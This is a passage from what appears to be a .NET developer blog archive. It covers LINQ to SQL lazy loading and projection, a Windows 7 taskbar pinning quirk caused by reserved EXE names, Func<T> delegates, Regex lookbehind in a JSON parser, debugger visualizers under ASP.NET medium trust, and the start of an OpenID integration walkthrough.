    <%# TimeUtils.ShortDateString((DateTime) Eval("TimeOut"),true) %></small></td>
    <td valign="top"><%# Eval("Description") %></td>
    <td valign="top" style="width: 70px;"><%# TimeUtils.FractionalHoursToString( (decimal) Eval("TotalHours"), "{0}h {1}min" ) %></td>
    </tr>
    </table>        
    </div>
    <%# this.RenderProjectFooter(Container) %>    
</ItemTemplate>
</asp:ListView>

The main data displayed for each entry all comes from the Entry entity and that’s fine. However there RenderProjectGroupHeader() method figures out whether the group changed and based on this needs to access the Customer and Project information.

        protected string RenderProjectGroupHeader(EntryEntity  entry)
        {
            string output = "";

            // if the project name has changed render a group as a <div> header
            if (entry.ProjectEntity.ProjectName != lastProjectName)
            {
                lastProjectName = entry.ProjectEntity.ProjectName;
                
                // *** New project add hours for first time
                this.groupTotalHours = entry.TotalHours;

                string html = string.Format(
@"<div class='groupheader'>
    <div style='float:right'><small>{0}</small></div>
    {1}
</div>
", entry.ProjectEntity.Customer.Company, entry.ProjectEntity.ProjectName);

                return html;
            }
            else
                this.groupTotalHours += entry.TotalHours;
            
            this.grandtotalHours += entry.TotalHours;

            return output;
        }

And here you can see the child entities being accessed.

Now the report works fine with this code. But if you actually look at this SQL generated for this report you’ll find that this query causes a flurry of activity against the server:

It turns out that each access to the ProjectEntity and CustomerEntity object causes a separate query to the server (shown) for the first time a particular Project or Entity is referenced. This means for each project in the application there will be two additional queries hitting the server so if I show 20 projects I’ll hit the database 40 extra times. That’s lazy loading for you and it’s usually a problem in list based displays like this. It can be much worse if EVERY row you display requires one or more related entities.

Working around Lazy Loading in LINQ to SQL

LINQ to SQL loads related entities and entity sets using lazy loading. Oddly you can’t override this behavior either in the model – even though you can delay load individual properties (like large text, image or XML fields). So everything always lazy loads.

DataLoadOptions for Prefetching

There’s a mechanism that allows you to specify prefetching using the DataLoadOptions which looks like this when applied GetTimeSheetByClient():

public IQueryable<EntryEntity> GetTimeSheetByClient(TimesheetReportParameters parms)
{            
    DataLoadOptions options = new DataLoadOptions();
    options.LoadWith<EntryEntity>(c => c.ProjectEntity);
    options.LoadWith<ProjectEntity>(p => p.Customer);
    this.Context.LoadOptions = options;

    IQueryable<EntryEntity> result =
        from entry in Context.EntryEntities
        where entry.TimeIn >= parms.FromDate && 
              entry.TimeIn < parms.ToDate.Date.AddDays(1) &&
              entry.PunchedOut &&
              parms.Companies.Contains(entry.CustomerPk)
        orderby entry.ProjectEntity.Customer.Company, entry.ProjectEntity.ProjectName, entry.TimeIn 
        select entry;

    if (parms.BillType == "Unbilled")
        result = result.Where(e => !e.Billed);
    else if (parms.BillType == "Billed")
        result = result.Where(e => e.Billed);
    
    return result;
}

This works and results in one large SQL statement that preloads the customer and project child entities.

However, this approach is problematic in a number of ways if you’re like me using a persistent data context. In my applications I scope a data context to a business object, so multiple operations may be performed against a single data context instance. If you have more than one operation that’s called and setting the DataLoad options it’s easy to clobber the settings on this object. A common problem when you have a persistent object like the DataContext and with L2S it’s difficult to get away from storing the context in some sort of persistent mechanism as it’s a connected ORM.

The fact that the options are tied to the DataContext rather than the query itself also makes it much more difficult to customize the query externally depending on the usage of the result. I often pass out an iQueryable and allow customization of the result set. Outside of the business layer the DataContext and therefore the options are not available and so it can’t be set externally.

Finally the DataOptions are tied to full related entities. If you just want to preload a property or two (like ProjectName and Company in our example here) you’re out of luck. DataOptions only deal with full entities.

Using Projection to Force Pre-Fetching

But there’s another way to write your queries differently to effectively force LINQ to SQL to prefetch by using projection in the Select clause of the LINQ statement. Basically the idea is to project the related entities or simple properties at the top level of the returned result to force the data to be denormalized and so becomes effectively preloaded.

So back to the example, if I want to load both the Project and Customer instances completely I can force the query to project into a type like this:

public class ReportEntryItem
{
    public EntryEntity Entry {get; set;}
    public CustomerEntity Customer {get;set;}
    public ProjectEntity Project { get; set; }
}

I’m using an explicit type declaration here rather than an anonymous type because the helper methods of the report rely on an entity instance to retrieve customer and project information and an Anonymous object would not allow access of properties beyond the declared query scope. The explicit object gives me a strongly typed object I can pass around the report UI methods without resorting to Reflection. If you don’t pass the returned result around and bind it immediately the explicit type is not required which is one less thing to declare.

With the new type in place, BindData then changes the query code to look like this:

List<EntryEntity> entryList;
public voidBindData(IQueryable query, objectparameters)
{
    this.Parameters = parameters asTimesheetReportParameters;

    var q = query asIQueryable<EntryEntity>;

    // denormalize the list so we minimize related queries
   var res = from entry in q
              select newReportEntryItem
              {
                  Entry = entry,
                  Project = entry.ProjectEntity,
                  Customer = entry.ProjectEntity.Customer
              };

    // in this case we want a List<T> so we can lazy load more data
   this.entryList = res.ToList();

    this.lstReport.DataSource = this.entryList;
}

Now when the ToList() executes I get a single denormalized and very large record for each row that includes the data for Entry, Customer and Project in the generated SQL:

exec sp_executesql N'SELECT [t0].[Pk], [t0].[CustomerPk], [t0].[ProjectPk], [t0].[InvoicePk], 
[t0].[UserPk], [t0].[Title], [t0].[Description], [t0].[TimeIn], [t0].[TimeOut], [t0].[PunchedOut], 
[t0].[Qty], [t0].[Rate], [t0].[TotalHours], [t0].[ItemTotal], [t0].[Taxable], [t0].[Billed], 
[t0].[Imported], [t0].[Xml], [t0].[tversion], [t3].[test], [t3].[Pk] AS [Pk2], [t3].[LastName], 
[t3].[FirstName], [t3].[Company], [t3].[Address], [t3].[City], [t3].[State], [t3].[Zip], 
[t3].[Country], [t3].[CountryId], [t3].[Phone], [t3].[Email], [t3].[Fax], [t3].[Notes], 
[t3].[Entered], [t3].[Updated], [t3].[LastOrder], [t3].[BillingRate], [t3].[Xml] AS [Xml2], 
[t3].[tversion] AS [tversion2], [t1].[Pk] AS [Pk3], [t1].[CustomerPk] AS [CustomerPk2], 
[t1].[ProjectName], [t1].[Entered] AS [Entered2], [t1].[StartDate], [t1].[EndDate], 
[t1].[Status], [t1].[tversion] AS [tversion3]
FROM [dbo].[Entries] AS [t0]
INNER JOIN [dbo].[Projects] AS [t1] ON [t1].[Pk] = [t0].[ProjectPk]
LEFT OUTER JOIN (
    SELECT 1 AS [test], [t2].[Pk], [t2].[LastName], [t2].[FirstName], [t2].[Company], [t2].[Address], [t2].[City], [t2].[State], [t2].[Zip], [t2].[Country], [t2].[CountryId], [t2].[Phone], [t2].[Email], [t2].[Fax], [t2].[Notes], [t2].[Entered], [t2].[Updated], [t2].[LastOrder], [t2].[BillingRate], [t2].[Xml], [t2].[tversion]
    FROM [dbo].[Customers] AS [t2]
    ) AS [t3] ON [t3].[Pk] = [t1].[CustomerPk]
WHERE (NOT ([t0].[Billed] = 1)) AND ([t0].[TimeIn] >= @p0) AND ([t0].[TimeIn] < @p1) AND ([t0].[PunchedOut] = 1) AND ([t0].[CustomerPk] IN (@p2, @p3, @p4, @p5, @p6, @p7, @p8, @p9, @p10, @p11, @p12, @p13, @p14, @p15, @p16, @p17, @p18))
ORDER BY [t3].[Company], [t1].[ProjectName], [t0].[TimeIn]',N'@p0 datetime,@p1 datetime,@p2 int,@p3 int,@p4 int,@p5 int,@p6 int,@p7 int,@p8 int,@p9 int,@p10 int,@p11 int,@p12 int,@p13 int,@p14 int,@p15 int,@p16 int,@p17 int,@p18 int',@p0='2009-01-09 00:00:00',@p1='2009-10-10 00:00:00',@p2=25,@p3=2,@p4=40,@p5=41,@p6=42,@p7=15,@p8=26,@p9=45,@p10=44,@p11=16,@p12=3,@p13=24,@p14=23,@p15=4,@p16=43,@p17=39,@p18=1

Denormalized alright, but what this does is effectively provides the necessary data for all Entry, Project and Customer entities to be completely filled.

For the ListViewItem template this means that individual controls now bind to Entity.Field:

<div class="itemheader"><%# Eval("Entity.Title") %></div>

instead of just binding to the Title before. I can also directly access the project now without reloading:

incidentally the following also works now without another trip to the database:

To demonstrate in the example, the report header function now receives the report item as a parameter and gets a repItem.Entry from it. Otherwise there are no changes in that code from before:

protected string RenderProjectGroupHeader(ReportEntryItem  repItem)
{
    string output = "";
    EntryEntity entry = repItem.Entry;

    // if the project name has changed render a group as a <div> header
    if (entry.ProjectEntity.ProjectName != lastProjectName)
    {
        lastProjectName = entry.ProjectEntity.ProjectName;
        
        // *** New project add hours for first time
        this.groupTotalHours = entry.TotalHours;

        string html = string.Format(
@"<div class='groupheader'>
<div style='float:right'><small>{0}</small></div>
{1}
</div>
", entry.ProjectEntity.Customer.Company, entry.ProjectEntity.ProjectName);

        return html;
    }
    else
        this.groupTotalHours += entry.TotalHours;
    
    this.grandtotalHours += entry.TotalHours;

    return output;
}

Note that I can still bind to entry.ProjectEntity.ProjectName and this works without another trip to the database because the Project entity was preloaded in the repItem.Project property. This the same instance that’s referenced in entry.ProjectEntity just as repItem.CustomerEntity is the same entry.ProjectEntity.CustomerEntity.

By including the Customer and Project entities as projected values in the query we’ve forced them to preload and we've reduced 40 queries to just a single (but large and redundant) query.

Watch what you Load

This example loads the full customer and project entities, but realistically we only need the Company and ProjectName fields from the respective related tables. If you know up front you only need a few of the fields in a table it’s more efficient to load just that data in the projection which has roughly the same effect. Again this is easier if you can use an anonymous type, otherwise the projected type instance has to reflect this layout.

The following is quite a bit more efficient than retrieving the full entities:

var res = from entry in q
 select new ReportEntryItem
 {
     Entry = entry,
     ProjectName = entry.ProjectEntity.ProjectName,
     Company = entry.ProjectEntity.CustomerEntity.Company
 };

because it reduces the amount of field data for each row of SQL result data significantly.

You have to be careful with this though – in the above scenario if I access entry.Entry.ProjectEntity.CustomerEntity.Address I will end up lazy loading both the Project and Customer records from the database. In this instance only the ProjectName and Company were retrieved, not the entire entities. IOW, if you pull just a few fields of related entities make sure you stick to using only those fields and leave the actual related entities alone.

To Lazy Load or Not to Lazy Load

Arguably LINQ to SQL’s lazy loading functionality behavior without override ability is not exactly intuitive, but it’s not terribly complex to force it to return pre-loaded data either. It does require some foresight as switching between lazy loaded and pre-loaded entities effectively requires some code changes to reflect the project type’s structure. It would be much nicer if there was syntax that would let you specify a prefetch path right on the query (something I really like about llblGen’s LINQ implementation).

Also keep in mind that lazy loading isn’t always bad so this isn’t something that should be done on every query. Denormalized data retrieves a lot of repetitive data so you’re often sacrificing data on the wire for fewer round trips to the database. In many situations – especially record level CRUD operations – lazy loading is usually a great way to go. Even small list based displays might not suffer severely from many requests to retrieve data vs. running a single query to retrieve the data you need. Also keep in mind that child items don’t necessarily load for EACH and every row, but only the first time a particular instance is loaded, whereas a denormalized query ALWAYS retrieves the related data for every row. So a list with a lot of repeated related data may not actually access the database as often as you might thing. It’s a tradeoff and experimentation is required to see what works best in each situation. But with a little bit of extra work you can make L2S do what you need it to.

Posted in LINQ CSharp

Application that won’t Pin to Taskbar in Windows 7

Rick Strahl — Thu, 08 Oct 2009 09:02:57 GMT

Ok, so I have one of my applications (Html Help Builder) that will not pin to the taskbar in Windows 7. This is an application I’ve created and have full control over in terms of build, but I can’t figure out why it will not pin to the Windows 7 taskbar. All other applications pin just fine, but this particular one will not pin or be dragged onto the taskbar. Not from a running application, not from a dragged shortcut or by using the context menu to pin it to the taskbar. The Task menu that pops up has nothing more than a Close this Application on it instead of the usual pin options.

Notice that this looks very different from a typical application which shows the actual application instance(s) running plus the Pin this program to taskbar:

I also have this application hooked to a shortcut on the desktop and the desktop shortcut also doesn’t have a Pin to taskbar option like all other icons.

As far as I know there’s nothing particularly special about this application. It’s an EXE launched from either a shortcut or directly from Explorer and it just will not pin. Since this is a distributed application I also installed it on another machine with exactly the same result. The context menu has no pinning options and I can drag the shortcut onto the taskbar either.

This is an old FoxPro based application that uses the Visual FoxPro 9.0sp2 runtimes. Now some of you will jump on that and say “Aha!” – but that’s not it. I have several other applications that are configured pretty much in the same way – and they run fine and have perfectly fine pinning options. In fact the second screen shot you see is another FoxPro EXE application run off a shortcut. And it appears to be working just fine.

So it appears it’s something inside the application that is causing this to occur.

It’s the Filename, Stupid!

So imagine that prior to this section I posted about 10 bullets of things I’d tried that didn’t work to solicit some feedback, when I ran across a Technet post with another guy who had an application named documentation.exe that didn’t work. It was explained to him that there are a few ‘reserved’ words for EXE names that are treated special. documenation.exe was a bad name – and bad names don’t get proper taskbar representation. Bad exe – go stand in the corner!

Windows has a few reserved names that include things like Documentation, Help, Setup, Readme etc. that are not pinned to the taskbar. These are exceptions in Windows (sorry, I couldn’t find a link that provides a complete list).

I dismissed that Technet post initially when I ran into it because the name of my EXE is pretty unique: wwhelp.exe. Not exactly a name you would expect to be on any sort of exception list. But it turns out the rules in Windows aren’t exact matches, but it looks for anything that contains these names. So anything that contains the word Help in the EXE name is considered a special item (presumably a help file).

So I renamed my file to HlpBuilder.exe and lo and behold – I get my Pin to taskbar back and all windows show up on the task context menu. It gets even better though. If I rename the EXE I do get the Pin to taskbar option, but if I create a shortcut and name it West Wind Html Html Help Builder the shortcut again has no Pin to taskbar option and I can’t drag it to the taskbar. Apparently if the reserved word appears in the text of the shortcut it too is limited in functionality.

Where is this Limitation coming from?

These ‘restricted’ values are determined by a registry key at:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileAssociation\AddRemoveNames

with these default values:

Documentation;Help;Install;More Info;Readme;Read me;Read First;Setup;Support;What's New;Remove

Man, how retarded is that? If an EXE file contains any of these reserved words it won’t pin? If the Shortcut Text contains one of these reserved words it won’t pin and generally work incorrectly? Really? Why have an arbitrary exception like that? That’s making an awful lot of assumptions and this is likely to break a number of application and they’re standard Windows behavior. This is an EPIC design failure on Microsoft’s part.

It looks like my only alternative is to rename the main EXE. I’m not really married to wwhelp.exe (how old skool of me – uh, this app is going on 15 years)Unfortunately it’s not quite as simple as that. There are update routines in a separate application that have the filename hard coded (and which doesn’t update at customers) and since the EXE is a COM server it needs to be re-registered. An EXE change basically requires a full reinstallation of the product instead of the normal update process I use. But I don’t know what to do about the shortcut. I can’t just erase Help from the name of the shortcut since it’s the freaking product brand name.

So as a vendor what do I do? Hack the registry during installation and modify that string, remove Help from the list? That’s evil mucking with user settings, but what other options are there?

<sigh> It’s never easy on the Windows platform is it? How I hate building desktop apps these days, but this is one app that wouldn’t work well as a Web UI unfortunately.

Posted in Vista Windows

Fun with Func<T,TResult> Delegates, Events and Async Operations

Rick Strahl — Mon, 05 Oct 2009 08:38:32 GMT

Func<T> has been in .NET for a while, but with the arrival of LINQ it’s moved into the limelight as main performer that makes Lambda expressions work. Func<T> is basically a generic delegate that makes it extremely easy to create all sorts of custom delegate signatures without having to explicitly implement the delegates separately.

Events

How often have you lamented the fact that you have to create a custom delegate for an event that needs to fire a method that uses non-typical event arguments? Traditionally you had to create the method and also create a delegate that matched the signature which is a bit verbose at best. Typical event setup code looks something like this:

public event delInvoiceCalculation CalculateTax;
public delegate decimal delInvoiceCalculation(wws_Invoice invoice);
       
public virtual decimal OnCalculateTax(wws_Invoice invoice)
{
    var calcTax = CalculateTax;
    if (calcTax != null)   
        return calcTax(invoice);

    return invoice.Tax;
}

You have to declare a separate delegate and provide the appropriate signature to match the event function that should be called.

Using Func<T> this code can be made a bit cleaner by removing the extra delegate. Here’s another implementation for a similar method using the same signature but using Func<T> or more specifically in this example, Func<T,TResult>

public event Func<wws_Invoice,decimal> CalculateHandling;
public virtual decimal OnCalculateHandling(wws_Invoice invoice)
{
    // TODO: provide logic here
    var calcHandling = CalculateHandling;
    if (calcHandling != null)
        return calcHandling(invoice);

    return Entity.Handling;
}

Func<T> simplifies the event signature a bit by removing the explicit delegate declaration and instead using the generic Func<T,TResult> implementation that allows you to create a custom delegate signature directly on the event. Not only does it save a little bit of code typing, but I also find this easier to see what’s going because it is more explicit in a single statement compared the first snippet where delegate and event declaration are separate (and often completely separated physically because the delegate is reused by multiple events).

Func<T> is a generic function signature/delegate and it works by implementing a delegate by way of its generic parameters. The last generic parameter provided is always the type of the return value (decimal above). Any preceeding generic parameters (up to 4 in Func<T>’s overloads) become the types of input parameters. In this case my signature is for Func<T,TResult> where T is my invoice entity and TResult is bool.

In this respect:

Func<wws_Invoice,decimal>

is equivalent to:

public delegate decimal delInvoiceCalculation(wws_Invoice invoice);

except it doesn’t have to be explicitly declared.

Func<T> in LINQ

Delegates are generally easy to understand but it’s one of those features we don’t use all that often and so it’s easy to forget how they work and what we need them for. Well we know LINQ is full of them – most LINQ operators like .Where() and OrderBy() and Select() to name a few all rely on Func<T> signatures for Lambda expressions. Between Func<T> delegate signatures and lamda expressions statements like this:

Context.wws_Items.Where( itm => itm.Sku == sku );

become possible and quite readable once you get over the initial weirdness of the => operator. What you’re looking at in the Where clause is actually an implemenation of Func<T,bool>:

The input parameter is the the enumerable type (wws_Item from the List<wws_Item> and the return value is bool. The return value is inferred by the compiler and so only the input parameter is used (itm =>) in the lambda expression’s left side. Func<T> is a key feature to make LINQ workable using terse code.

Note that if you use LINQ to SQL or LINQ to Entities Func<T> based parameters to any LINQ commands require an Expression wrapper that wraps the Func<T> expression. This is because these tools delay executing the expressions until a later point in time when the expressions are parsed into some other format (SQL command, Entity SQL or whatever the expression engine uses).

This actually tripped me up yesterday and was what got me on to writing up this content. In my business layer I have basic CRUD operations including the ability to load entities without running a full LINQ command. There’s a base implementation that takes a LINQ expression as a parameter that is passed to a LINQ .Where() method that executes the actual query. At first I passed a Func<T> argument but I quickly found out that this doesn’t actually work – the result from the LINQ to SQL query always returned null. The reason: It’s not an expression that was passed but just a predicate.

I had to make sure the method was declared correctly using an Expression and the correct code that works looks like this:

protected virtual TEntity LoadBase(Expression<Func<TEntity, bool>> whereClauseLambda)
{
    SetError();

    try
    {
        TContext context = Context;

        // If disconnected we'll create a new context
        if (Options.TrackingMode == TrackingMode.Disconnected)
            context = CreateContext();

        Entity = Context.GetTable<TEntity>().Where(whereClauseLambda).SingleOrDefault();

        if (Entity != null)
            OnLoaded(Entity);                

        return Entity;
    }
    catch (InvalidOperationException)
    {
        // Handles errors where an invalid Id was passed, but SQL is valid
        SetError("Couldn't load entity - invalid key provided.");
        Entity = null;
        return null;
    }
    catch (Exception ex)
    {
        // handles any other sql errors                
        Entity = null;
        SetError(ex);
    }

    return null;
}

This makes it super easy to create custom load methods that all use the common LoadBase method and so inherit its behavior. in most cases it becomes as trivial as this:

/// <summary>
/// Loads an individual item by sku
/// </summary>
/// <param name="sku"></param>
/// <returns></returns>
public wws_Item LoadBySku(string sku)
{
    return this.LoadBase(itm => itm.Sku == sku);
}

which is pretty nice and consistent.

Easy Async

Here’s another useful example of how Func<T> can make life a lot easier. For example, kicking off an async delegate with Func<T> becomes a single line operation which makes it a snap to turn just about any operation into an async operation like this async update routine:

public void LogSnippetViewAsync(string snippetId, string ipAddress, string userAgent)
{
    Func<string, string, string, bool> del = this.LogSnippetView;
    del.BeginInvoke(snippetId, ipAddress, userAgent, null, null);
}

public bool LogSnippetView(string snippetId, string ipAddress, string userAgent)
{
    if (string.IsNullOrEmpty(userAgent))
        return false;

    userAgent = userAgent.ToLower();

    if (!(userAgent.Contains("mozilla") || !userAgent.StartsWith("safari") ||
        !userAgent.StartsWith("blackberry") || !userAgent.StartsWith("t-mobile") ||
        !userAgent.StartsWith("htc") || !userAgent.StartsWith("opera")))
        return false;

    this.Context.LogSnippetClick(snippetId, ipAddress); // stored proc

    return true;
}

Here’s Func<T1,T2,T3,TResult> is used to specify 3 parameters (3 strings) and a return value of bool. del is the Delegate declaration and we’re pointing it at the LogSnippetView method to execute. Then BeginInvoke is called to asynchronously launch the method so it runs in the background on a thread pool thread.

Again, using Func<T> avoids having to explicitly declare a delegate separately and instead you can directly declare the delegate signature via Func<T> inline which is easier to read and understand – at least to me.

Sometimes it’s the little things that make life easier and Func<T> is one of those.

Posted in CSharp LINQ

Lookbehind in Regex searches

Rick Strahl — Sat, 03 Oct 2009 09:03:20 GMT

I’ve said it before – Regex is not one of my strengths and although I use Regex expression quite frequently in code I’m in fear (literally) of using longer Regex expressions, fully expecting to look at my own Regex code and not remember what it does10 minutes later :-}. Ok, not quite so bad, but not completely off the mark.

Today I had what is a fairly simple problem – I needed to match a JSON string and check for invalid quote characters in the string. For example:

JSON String: \"that has legal nested quotes\" and "illegal nested quotes" embedded in it

(leading and ending JSON quote marks are trimmed out prior to matching)

Basically what I needed to do is match the quotes around the illegal string to determine if the string is invalid JSON. This is somewhat tricky because the rule is to basically find double-quote characters that are NOT preceded by a slash.

The solution to this is quite easy – once you know about a feature called Lookbehind – that basically lets you match or not match a group and not include the content in the match expression. Lookbehind uses (?<=) to match or (?<!) expression followed by actual text or Regex values to match inside of the parenthesis. The negating Lookbehind basically allows you to find a string if the lookbehind expression is NOT found. Exactly what I need above for my JSON string – I need to match all qutoes that are NOT preceeded by a slash.

Using Lookbehind the solution to matching the illegal quotes is as simple as:

($<!\\)"

Ah the beauty of terseness. Nice and self-describing, n’est pas? NOT. Here’s a more visual view in RegexBuddy which is my preferred tool for Regex testing:

As you can see the the legal quotes preceded by the slashes are not matched which is as it should be.

In my .NET code that parses a JSON string (as part of full JSON parser) here’s the routine that uses the Regex expression:

private static Regex FindUnquotedStringRegEx = new Regex(@"(?<!\\)""");

/// <summary>
/// Parses a JSON string into a string value
/// </summary>
/// <param name="value"></param>
/// <returns></returns>
public string ParseString(string value)
{                                    
    // actual value of null is not valid for 
    if (value == null)
        throw new ArgumentException(Resources.ERROR_INVALID_JSON_STRING);

    // null as a string is a valid value for a string
    if (value == "null")
        return null; 
    
    // Has to be at least 2 chars long and bracketed in quotes
    if (value.Length < 2 || (!value.StartsWith("\"") || !value.EndsWith("\"")))
        throw new ArgumentException(Resources.ERROR_INVALID_JSON_STRING);
    
    if (value == "\"\"")
        return string.Empty;
    
    // strip off leading and trailing quote chars
    value = value.Substring(1, value.Length - 2);
    
    // Check for strings NOT preceeded by a backslah - invalid
    if (FindUnquotedStringRegEx.IsMatch(value))
        throw new ArgumentException(Resources.ERROR_INVALID_JSON_STRING);

    // Escape the double escape characters in json ('real' backslash)  temporarily to alternate chars
    const string ESCAPE_ESCAPECHARS = @"^#^#";

    value = value.Replace(@"\\", ESCAPE_ESCAPECHARS);

    value = value.Replace(@"\r", "\r");
    value = value.Replace(@"\n", "\n");
    value = value.Replace(@"\""", "\"");            
    value = value.Replace(@"\t", "\t");
    value = value.Replace(@"\b", "\b");
    value = value.Replace(@"\f", "\f");

    if (value.Contains("\\u"))
        value = Regex.Replace(value, @"\\u....",
                              new MatchEvaluator(this.UnicodeEscapeMatchEvaluator));

    // Convert escaped characters back to the actual backslash char 
    value = value.Replace(ESCAPE_ESCAPECHARS, "\\");

    return value;
}

And it works.

I’ve never really used Lookbehind before (gulp) and when I popped out a question regarding the matches I was looking for earlier today on Twitter several folks were very helpful in pointing me in the right direction. Thanks to lumbarius who got the expression and a link to find out more.

I dug out my trusty copy of O’Reilly’s Mastering RegEx Expressions out today and did a little more reading on the topic.

Mastering Regular Expressions
by Jeffrey Friedl
O'Reilly Media, Inc. (August 8, 2006)

Read more...

I’ve certainly read through that section on Lookahead and Lookbehind before but at the time it really didn’t mean much and certainly didn’t sink in, but now with a little context behind it I think… I think… I can maybe retain this for more than 10 minutes. And if not I have this blog post to help me remember. If I can remember the blog post – Arrgh… where does it stop?

Posted in CSharp RegEx

Debugger Visualizers not working in ASP.NET Medium Trust

Rick Strahl — Thu, 24 Sep 2009 07:48:07 GMT

So imagine you are running your ASP.NET application’s in medium trust and you want to access a debugger visualizer like this:

by clicking on the little search icon in the debugger tooltip, you run into a message like this:

The application you are debugging has insufficient privileges to allow the use of custom visualizers

or more visually here failing with a DataTable visualizer:

Ah yes, see the documentation. I know I should have read that one page pamphlet Microsoft ships for documentation with ASP.NET. Right.

The problem is that the application needs to run in Full trust in order to use debugger visualizers. This can be changed in Web.config by making sure that the trust key :

<system.web>
  <trust level="Full" />
</system.web>

is set to Full trust.

Debugger visualizers can come from many sources so the security environment for the visualizers is different than than main debugger and as such it requires explicit permissions to execute.

Be careful with these settings though. For production sites it’s recommended you run in Medium trust, so if you change settings in your local config file remember not to send them up to the server. Better yet, change the settings only while you need it for debugging and then set it back.

I run into this frequently because I try to set up my Web sites during development with Medium trust if I can to see all the places when and if I run into problems. So I often end up having to change that switch temporarily for debugging and then setting it back when I’m done with this task.

Posted in ASP.NET Visual Studio

Integrating OpenID in an ASP.NET MVC Application using DotNetOpenAuth

Rick Strahl — Fri, 18 Sep 2009 04:15:24 GMT

The #1 request I got on the CodePaste.net site - which provides a quick and easy way to publish and share code snippets publicly - has been to implement OpenId for authentication rather than the custom username/password login that’s been in use up until now. OpenId is a centralized login/authentication mechanism which handles authentication through one or more centralized OpenId providers. These providers live on the Web and are accessed through a forwarding and callback mechanism – you log in at the provider’s site and are then returned to the original starting Url with an authorized user token that uniquely identifies that user to the original site.

What is OpenId?

OpenId is a single sign-on scheme – the idea is that you keep your login and profile information in one place so that you don’t have to login at every Web location and create new user credentials on each site. The idea of a single sign on isn’t new of course – lots of these things have been around over the years with the most remembered probably being Microsoft’s Passport/Windows Live ID (not that anybody likes Windows Live Id). OpenId uses a similar concept, but the difference is that there are many providers and sites that are implementing OpenId Providers so that you can use their log on credentials that you are already using to log into other sites. Chances are that you already have a sign on on one of the OpenId providers rather than just one provider that controls access. You can essentially choose where you log in from.Some of sites that are OpenId providers now are Google, Yahoo, Microsoft Windows Live, AOL, Facebook, Flickr and many many more. Chances are you’re signed up on one of these services and you can use their logons to log in to other sites that support OpenId. The rush to OpenId is fairly fresh so some of these work better than others. The ones I’ve been using are MyOpenId, Google and Yahoo of which MyOpenId works best if you want to share profile information.

To be honest I hadn’t warmed up to OpenId until recently. In fact I had to be convinced by user requests on the CodePaste.net site to take a look at integration. Now that it’s there I think it is a pretty sweet way to go although I think the concept is lost on the average user until OpenId becomes more wide spread. It also didn’t help that the original implementations and providers were pretty crappy and the process on most sites to sign up actually was really slow and clunky. That has changed a bit with better interfaces that are faster and many more sites are using OpenId and many more providers exist.

Another pain point is that supporting standards for retrieving profile information like Simple Registration (SREG) is not widely supported. Providers are returning information in a variety of different formats and most don’t return profile information at all whether you approve or not which is really lame. You presumably own the data on any service you’ve given data to so why the fuss of sharing it if you approve of sharing? Anyway, don’t count on getting full contact information from OpenId for a while. Some providers will give some information, others won’t give any – so your application has to be able to handle both scenarios.

OpenId Development

For development with .NET there are a few libraries out there that handle the communications details for you. While communications are handled using simple URLs for routing and callbacks the data encoded into these URLs must be secure so that they can’t be spoofed and this process is not exactly trivial.

For the site I chose DotNetOpenAuth – after doing a little bit of research it seemed to me that this was the most active development project that is also most feature rich. DotNetOpenAuth does much more than OpenId it also supports oAuth (a non-interactive service based counterpart to OpenId) which is another thing on my list to implement for the API portion of the site. DotNetOpenAuth is fairly comprehensive and includes support specifically for Web applications – both MVC and Web Forms with controls and helpers provided as well as MVC specific action methods to handle redirection and return routing which is a nice touch.

The tool makes the actual routing and handling of the results fairly easy, but the integration process nevertheless is not completely trivial. The reason for this is that most applications will need to handle both logins as well as attaching an OpenId account to an existing user profile of some sort and this can get tricky because of the HTTP GET based callback interface. The actual OpenId calls and callbacks are quite simple – the actual user interface and hookup routines though ended up taking me a lot longer than I had expected.

Walking through OpenId Authentication

Alright lets take a look and see how this works on the CodePaste.net site. As I mentioned there are two parts – the basic login validation which is very straight forward and simple so I’ll start there.

The login form displays both logins for OpenId and the traditional username and password:

Figure 1 – Logging in with OpenId

I needed to leave the old login in form place so existing users can log in and attach their existing accounts to OpenId. Also some folks may just not want to go the OpenId route. So both are supported on this form.

OpenId validation starts by providing a OpenId Url. The Url depends on the provider and you can pick up that Url from your provider’s OpenId information page – here is a list of a few common ones from the OpenId site. I also provided a couple of icon buttons for the most likely culprits – MyOpenId, Google and Yahoo. Any others need to be typed in. Between Google and Yahoo you probably have an account. There’s also myOpenId which is one of the early providers which is popular, and with it you use a url like http://rickstrahl.myopenid.com to log on. The Yahoo (http://yahoo.com/) and Google (https://www.google.com/accounts/o8/id) Urls are the same for everybody, so those links can actually be auto-fired directly by the click on the icon, while the myOpenId entry requires entering the name first and manually clicking the button.

Once the Login button is clicked (or automatically fired) the process takes you to the provider’s site. For example if you use Google, you’ll see a Google Login screen if you aren’t already signed into Google and you are asked to login. The page will tell you the source site that’s requesting the login and possibly which profile information is requested. Once you log in you are then redirected hence you came – back to the same url where you came from by default. This can be overridden, but in an MVC application you’ll most likely will want to come back to the same URL to redisplay the login (or registration) data with some indication that you are now logged in.

If you are already logged into the OpenId provider (which is usually the case) the login operation is completely transparent – the page is re-routed to the OpenId provider site and immediately returns back to your site at a Url that is specifed. This usually happens pretty fast through a bunch of redirects – from your site to the OpenId provider and fro the OpenId provider back to your site – so other than some extra delay time you don’t even see anything happening. It just looks like you’re going directly to your next page in the app.

When the page returns after a login it includes encoded authentication information on the querystring that becomes available to the request that handles the OpenId login. Specifially DotNetOpenAuth can read the authentication token and any profile information that was returned if any was requested and returned.

Once logged in my profile display then reflects the account association like this:

Figure 2 – Logged in with OpenId and viewing the Profile

The application stores the user’s open id as part of the profile and so it’s easy to display this information. The OpenId relationship can be unlinked and the account can then be assigned to another OpenId or a username and password has to be provided if no OpenId is available. As I mentioned the actual OpenId authentication process is pretty simple but some of the issues surrounding it like attaching and disconnecting accounts from OpenId is a little more complicated – I’ll talk about that below.

If I go to the profile page when the account is not associated with an OpenId the page has an option to login and effectively associate the account with the new OpenId:

The same page is also used for new registrations which is useful in order to provide the name and email actually from the OpenId provider (as supported – note that google and yahoo do not provide this data in a format that DotnetOpenAuth extracts automatically).

How to implement OpenId in an MVC Application

Please keep in mind that what I describe is just one way you can do this in this case using DotNetOpenAuth since it provides a host of different ways to implement OpenId. There are high level helpers and for Web Forms there is a server control that you can use. In this example I handle this process manually so you can see the flow of the requests. The process is pretty simple although there’s a fair bit of code (most of it boilerplate) that is involved.

I’ll start with the sign in form because that’s simpler. This relates to figure 1 in the image sequence above. The OpenId login area of the page is wrapped into its own HTML form that kicks off the processing. The layout for this block looks like this:

